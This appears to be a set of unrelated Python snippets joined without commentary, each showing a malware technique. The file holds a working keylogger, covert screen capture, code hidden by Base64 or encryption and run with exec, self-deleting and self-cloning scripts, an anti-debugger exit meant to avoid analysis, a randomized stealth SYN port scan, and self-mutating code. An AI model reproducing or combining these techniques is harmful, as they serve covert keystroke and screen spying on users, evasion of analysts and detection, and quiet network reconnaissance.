import os
import sys

def main():
    print("This script will self-destruct after execution.")
    # Your main code logic here...
    # Self-destruct: delete the current file
    try:
        os.remove(__file__)
        print("Self-destruction successful. Goodbye!")
    except Exception as e:
        print("Error during self-destruction:", e)

if __name__ == '__main__':
    main()

import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Capture the screenshot (full screen if region is None)
    screenshot = pyautogui.screenshot(region=region)
    # Convert to a numpy array
    frame = np.array(screenshot)
    # Convert from RGB (PIL) to BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Capture a 300x400 region from the top-left corner
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)
    cv2.destroyAllWindows()

import base64

# Your secret code as a string
secret_code = "print('Hello from the hidden side!')"
# Encode the code in Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# At runtime, decode and execute the code
exec(base64.b64decode(encoded_code).decode())

import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("Keylogger is running. Press ESC to stop.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # Get the current script source code
    code = inspect.getsource(inspect.currentframe())
    # Define the clone filename
    clone_filename = "clone_script.py"
    with open(clone_filename, "w") as f:
        f.write(code)
    # Launch the cloned script with an incremented parameter
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)
    print("Clone launched. Original script self-destructing...")
    os.remove(__file__)

if __name__ == '__main__':
    clone_and_run()

code_string = """
def greet():
    print('Hello, this code is running in memory!')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

from cryptography.fernet import Fernet
import base64

# Generate a key (in production, store this securely!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Your secret code
secret_code = "print('This secret code was encrypted!')"
# Encrypt the code
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# At runtime: decrypt and execute the code
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

import sys
import time

def anti_debug():
    if sys.gettrace() is not None:
        print("Debugger detected! Exiting to avoid analysis.")
        time.sleep(2)
        sys.exit()

if __name__ == '__main__':
    anti_debug()
    print("No debugger detected. Proceeding with execution...")

from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    response = sr1(packet, timeout=1, verbose=0)
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"Port {port} on {target_ip} is open.")
    else:
        print(f"Port {port} on {target_ip} is closed or filtered.")

if __name__ == '__main__':
    target = "192.168.1.1"
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))

import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Randomly change a comment line (if exists)
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("Script mutated successfully.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)